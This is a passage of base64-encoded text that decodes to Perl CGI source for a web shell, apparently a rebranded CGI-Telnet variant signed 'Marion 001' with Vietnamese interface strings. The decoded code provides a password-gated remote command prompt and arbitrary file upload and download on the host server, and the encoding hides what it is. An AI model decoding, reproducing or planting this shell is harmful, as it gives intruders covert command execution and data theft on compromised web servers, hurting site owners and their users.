lzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0PjwvcHJlPjxicj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwo8L3NjcmlwdD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNoaWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9nOwoJJHRleHQgPX4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQpCgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0iIjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7Ck0mIzc4NTM7dCBLaCYjNzg0OTt1Ojxicj5Mb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPk0mIzc4NTM7dCBLaCYjNzg0OTt1OiBtYXJpb24wMDE8YnI+TSYjNzg1Mzt0IEtoJiM3ODQ5O3U6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTWFyaW9uMDAxIj48L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPTAwRkYwMD5FZGl0ZWQgYnkgOjpbTWFyaW9uIDAwMV06OiA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7Cn1zdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpUJiMyMzQ7biBGaWxlOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpUJiM3ODQzO2kgWHUmIzc4ODk7bmcgPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik1hcmlvbjAwMSI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KVCYjMjM0O24gRmlsZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KQyYjMjI0O2kgJiMyNzI7JiM3ODYzO3Q6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPiYjMjcyOyYjMjMyOyBMJiMyMzQ7biBOJiM3ODcxO3UgRmlsZSBUciYjMjQ5O25nIE5oYXU8L2xhYmVsPjxicj48YnI+ClQmIzc4NDM7aSBMJiMyMzQ7bjombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTWFyaW9uMDAxIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPjxicj48Zm9udCBjb2xvcj15ZWxsb3c+Q29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD48YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlQmIzc4NDM7aSBMJiMyMzQ7bjogJFRyYW5zZmVyRmlsZSBUJiM3ODk5O2kgJEN1cnJlbnREaXIgLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIlRIJiM3ODQ1O3QgQiYjNzg0MTtpLCBUJiM3ODc5O3AgVGluIE4mIzIyNDt5ICYjMjcyOyYjMjI3OyBUJiM3ODkxO24gVCYjNzg0MTtpLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gImsmIzIzNztjaCBUaCYjNDMyOyYjNzg5OTtjOiAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIiYjMjcyOyYjNDMyOyYjNzkwMTtuZyBEJiM3ODUxO24gRmlsZTogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiVGgmIzc4NDU7dCBCJiM3ODQxO2k6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0